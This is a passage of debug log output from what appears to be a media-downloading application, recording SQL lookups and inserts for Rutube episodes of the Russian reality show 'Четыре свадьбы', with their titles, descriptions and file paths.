"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:43.124 [debug] QUERY OK source="media_items" db=3.2ms idle=163.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 14:35:43.125 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Какие свадьбы подготовили 4 невесты? У Влады из Тюмени будет свадьба в морском стиле с впечатляющим появлением жениха и невесты. Даша из Екатеринбурга впечатлит конкуренток своей свадьбой в стриптиз-клубе. На классической свадьбе Инны из Тулы будет обширная развлекательная программа. А свадьба Алины из Подпорожья пройдёт в стиле «провинциальный минимализм» с декором в эвкалиптовом цвете. Сморите программу «Четыре свадьбы»!", "duration" => 5023, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e012600 - Свадьба в морском стиле VS Свадьба в стриптиз-клубе.mp4", "id" => "626e8342606042a7072d3dc6c7bf71a5", "original_url" => "https://rutube.ru/video/626e8342606042a7072d3dc6c7bf71a5/", "playlist_index" => 40, "timestamp" => 1674741613, "title" => "Свадьба в морском стиле VS Свадьба в стриптиз-клубе", "upload_date" => "20230126"} 14:35:43.127 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=165.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:43.128 [debug] QUERY OK source="sources" db=0.4ms idle=13.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.129 [debug] QUERY OK source="media_items" db=0.6ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-26 14:00:13Z], 1] 14:35:43.265 [debug] QUERY OK source="media_items" db=134.4ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какие свадьбы подготовили 4 невесты? У Влады из Тюмени будет свадьба в морском стиле с впечатляющим появлением жениха и невесты. Даша из Екатеринбурга впечатлит конкуренток своей свадьбой в стриптиз-клубе. На классической свадьбе Инны из Тулы будет обширная развлекательная программа. А свадьба Алины из Подпорожья пройдёт в стиле «провинциальный минимализм» с декором в эвкалиптовом цвете. Сморите программу «Четыре свадьбы»!", "Свадьба в морском стиле VS Свадьба в стриптиз-клубе", "b3893686-0541-4ed2-8352-b2dfe3141e38", "626e8342606042a7072d3dc6c7bf71a5", 5023, false, "https://rutube.ru/video/626e8342606042a7072d3dc6c7bf71a5/", 40, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e012600 - Свадьба в морском стиле VS Свадьба в стриптиз-клубе.mp4", false, false, false, 1, [], 1, ~U[2023-01-26 14:00:13Z], ~U[2025-12-09 11:35:43Z], ~U[2025-12-09 11:35:43Z], "Какие свадьбы подготовили 4 невесты? У Влады из Тюмени будет свадьба в морском стиле с впечатляющим появлением жениха и невесты. Даша из Екатеринбурга впечатлит конкуренток своей свадьбой в стриптиз-клубе. На классической свадьбе Инны из Тулы будет обширная развлекательная программа. А свадьба Алины из Подпорожья пройдёт в стиле «провинциальный минимализм» с декором в эвкалиптовом цвете. Сморите программу «Четыре свадьбы»!", "Свадьба в морском стиле VS Свадьба в стриптиз-клубе", "626e8342606042a7072d3dc6c7bf71a5", 5023, false, "https://rutube.ru/video/626e8342606042a7072d3dc6c7bf71a5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e012600 - Свадьба в морском стиле VS Свадьба в стриптиз-клубе.mp4", false, 1, ~U[2023-01-26 14:00:13Z]] 14:35:43.286 [debug] QUERY OK source="sources" db=19.9ms idle=139.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.289 [debug] QUERY OK source="media_profiles" db=0.9ms idle=160.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:43.291 [debug] QUERY OK source="media_items" db=1.8ms idle=160.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [33] 14:35:43.293 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Какими будут 4 новые свадьбы? Татьяна из Бабаево позовёт гостей на свою классическую свадьбу, особенностью которой станет танец девушки в бокале. Торжество Илоны из Санкт-Петербурга пройдёт в ресторане XVIII века. Фишкой мероприятия Ксении из Иваново станет фотозона с собаками. А на свадьбе Натали из Москвы жених будет развлекать гостей диджей-сетом. Смотрите программу «Четыре свадьбы»!", "duration" => 5251, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e021600 - Деревенская свадьба VS Свадьба аристократов.mp4", "id" => "ae1adc2c7b1212ae246d930fe6105673", "original_url" => "https://rutube.ru/video/ae1adc2c7b1212ae246d930fe6105673/", "playlist_index" => 41, "timestamp" => 1676556011, "title" => "Деревенская свадьба VS Свадьба аристократов", "upload_date" => "20230216"} 14:35:43.296 [debug] QUERY OK source="sources" db=1.3ms idle=112.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:43.299 [debug] QUERY OK source="sources" db=1.3ms idle=33.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.301 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=12.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-16 14:00:11Z], 1] 14:35:43.409 [debug] QUERY OK source="media_items" db=105.9ms idle=14.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какими будут 4 новые свадьбы? Татьяна из Бабаево позовёт гостей на свою классическую свадьбу, особенностью которой станет танец девушки в бокале. Торжество Илоны из Санкт-Петербурга пройдёт в ресторане XVIII века. Фишкой мероприятия Ксении из Иваново станет фотозона с собаками. А на свадьбе Натали из Москвы жених будет развлекать гостей диджей-сетом. Смотрите программу «Четыре свадьбы»!", "Деревенская свадьба VS Свадьба аристократов", "26e6d6c8-c0c4-429a-aee0-ab16b872f2d9", "ae1adc2c7b1212ae246d930fe6105673", 5251, false, "https://rutube.ru/video/ae1adc2c7b1212ae246d930fe6105673/", 41, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e021600 - Деревенская свадьба VS Свадьба аристократов.mp4", false, false, false, 1, [], 1, ~U[2023-02-16 14:00:11Z], ~U[2025-12-09 11:35:43Z], ~U[2025-12-09 11:35:43Z], "Какими будут 4 новые свадьбы? Татьяна из Бабаево позовёт гостей на свою классическую свадьбу, особенностью которой станет танец девушки в бокале. Торжество Илоны из Санкт-Петербурга пройдёт в ресторане XVIII века. Фишкой мероприятия Ксении из Иваново станет фотозона с собаками. А на свадьбе Натали из Москвы жених будет развлекать гостей диджей-сетом. Смотрите программу «Четыре свадьбы»!", "Деревенская свадьба VS Свадьба аристократов", "ae1adc2c7b1212ae246d930fe6105673", 5251, false, "https://rutube.ru/video/ae1adc2c7b1212ae246d930fe6105673/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e021600 - Деревенская свадьба VS Свадьба аристократов.mp4", false, 1, ~U[2023-02-16 14:00:11Z]] 14:35:43.423 [debug] QUERY OK source="sources" db=12.5ms idle=119.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.424 [debug] QUERY OK source="media_profiles" db=0.3ms idle=127.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:43.425 [debug] QUERY OK source="media_items" db=0.5ms idle=125.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [34] 14:35:43.427 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Каждая из 4 невест уверена, что её свадьба станет лучшей. А как оценят мероприятия девушек их соперницы? У Екатерины из Магнитогорска будет классическая свадьба с элементами 90-х. Татьяна из Москвы подготовит свадьбу в стиле «славянское бохо». Свадьба Дарьи из Москвы пройдёт в тематике гавайской вечеринки. А фишкой бохо-свадьбы Алёны из Воронежа станет большое количество танцев. Кто одержит победу, увидим в программе «Четыре свадьбы».", "duration" => 5000, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020200 - Гавайская свадьба VS Cлавянское бохо.mp4", "id" => "f3f3a6c659dea362e45d1004343f8862", "original_url" => "https://rutube.ru/video/f3f3a6c659dea362e45d1004343f8862/", "playlist_index" => 42, "timestamp" => 1675346406, "title" => "Гавайская свадьба VS Cлавянское бохо", "upload_date" => "20230202"} 14:35:43.431 [debug] QUERY OK source="sources" db=3.3ms idle=126.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:43.437 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.439 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=14.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-02 14:00:06Z], 1] 14:35:43.571 [debug] QUERY OK source="media_items" db=130.8ms idle=15.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Каждая из 4 невест уверена, что её свадьба станет лучшей. А как оценят мероприятия девушек их соперницы? У Екатерины из Магнитогорска будет классическая свадьба с элементами 90-х. Татьяна из Москвы подготовит свадьбу в стиле «славянское бохо». Свадьба Дарьи из Москвы пройдёт в тематике гавайской вечеринки. А фишкой бохо-свадьбы Алёны из Воронежа станет большое количество танцев. Кто одержит победу, увидим в программе «Четыре свадьбы».", "Гавайская свадьба VS Cлавянское бохо", "8bd07d00-92cd-42d5-806b-8122466fb5a9", "f3f3a6c659dea362e45d1004343f8862", 5000, false, "https://rutube.ru/video/f3f3a6c659dea362e45d1004343f8862/", 42, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020200 - Гавайская свадьба VS Cлавянское бохо.mp4", false, false, false, 1, [], 1, ~U[2023-02-02 14:00:06Z], ~U[2025-12-09 11:35:43Z], ~U[2025-12-09 11:35:43Z], "Каждая из 4 невест уверена, что её свадьба станет лучшей. А как оценят мероприятия девушек их соперницы? У Екатерины из Магнитогорска будет классическая свадьба с элементами 90-х. Татьяна из Москвы подготовит свадьбу в стиле «славянское бохо». Свадьба Дарьи из Москвы пройдёт в тематике гавайской вечеринки. А фишкой бохо-свадьбы Алёны из Воронежа станет большое количество танцев. Кто одержит победу, увидим в программе «Четыре свадьбы».", "Гавайская свадьба VS Cлавянское бохо", "f3f3a6c659dea362e45d1004343f8862", 5000, false, "https://rutube.ru/video/f3f3a6c659dea362e45d1004343f8862/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020200 - Гавайская свадьба VS Cлавянское бохо.mp4", false, 1, ~U[2023-02-02 14:00:06Z]] 14:35:43.575 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=146.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:43.577 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.1ms idle=144.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:43.581 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=140.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [35] 14:35:43.581 [debug] Current batch of media processed. Will check again in 1000ms 14:35:44.582 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты готовы побывать на торжествах друг друга. У Марии из Нижнего Новгорода будет классическая свадьба с оригинальной подачей торта. Юлия из Йошкар-Олы попросит гостей прийти на её свадьбу в белых кроссовках. Василиса позовёт соперниц в Кимры на свою свадьбу в стиле рустик. А свадьба Екатерины из Калининграда пройдёт в стиле «Горько». Какие баллы выставят участницы своим конкуренткам, покажет программа «Четыре свадьбы».", "duration" => 5733, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020900 - Свадьба в стиле рустик VS Свадьба в стиле Горько.mp4", "id" => "274c0787ebb1420474e56c454f4dc520", "original_url" => "https://rutube.ru/video/274c0787ebb1420474e56c454f4dc520/", "playlist_index" => 43, "timestamp" => 1675951211, "title" => "Свадьба в стиле рустик VS Свадьба в стиле Горько", "upload_date" => "20230209"} 14:35:44.584 [debug] QUERY OK source="sources" db=1.4ms idle=1012.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:44.587 [debug] QUERY OK source="sources" db=1.2ms idle=1011.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:44.591 [debug] QUERY OK source="media_items" db=2.0ms queue=1.6ms idle=1010.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-09 14:00:11Z], 1] 14:35:44.756 [debug] QUERY OK source="media_items" db=163.1ms queue=0.1ms idle=1011.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты готовы побывать на торжествах друг друга. У Марии из Нижнего Новгорода будет классическая свадьба с оригинальной подачей торта. Юлия из Йошкар-Олы попросит гостей прийти на её свадьбу в белых кроссовках. Василиса позовёт соперниц в Кимры на свою свадьбу в стиле рустик. А свадьба Екатерины из Калининграда пройдёт в стиле «Горько». Какие баллы выставят участницы своим конкуренткам, покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Горько", "c02aa856-f540-45c6-965d-78daf3671317", "274c0787ebb1420474e56c454f4dc520", 5733, false, "https://rutube.ru/video/274c0787ebb1420474e56c454f4dc520/", 43, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020900 - Свадьба в стиле рустик VS Свадьба в стиле Горько.mp4", false, false, false, 1, [], 1, ~U[2023-02-09 14:00:11Z], ~U[2025-12-09 11:35:44Z], ~U[2025-12-09 11:35:44Z], "4 невесты готовы побывать на торжествах друг друга. У Марии из Нижнего Новгорода будет классическая свадьба с оригинальной подачей торта. Юлия из Йошкар-Олы попросит гостей прийти на её свадьбу в белых кроссовках. Василиса позовёт соперниц в Кимры на свою свадьбу в стиле рустик. А свадьба Екатерины из Калининграда пройдёт в стиле «Горько». Какие баллы выставят участницы своим конкуренткам, покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Горько", "274c0787ebb1420474e56c454f4dc520", 5733, false, "https://rutube.ru/video/274c0787ebb1420474e56c454f4dc520/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020900 - Свадьба в стиле рустик VS Свадьба в стиле Горько.mp4", false, 1, ~U[2023-02-09 14:00:11Z]] 14:35:44.772 [debug] QUERY OK source="sources" db=13.3ms queue=0.2ms idle=570.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:44.774 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.4ms idle=188.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", 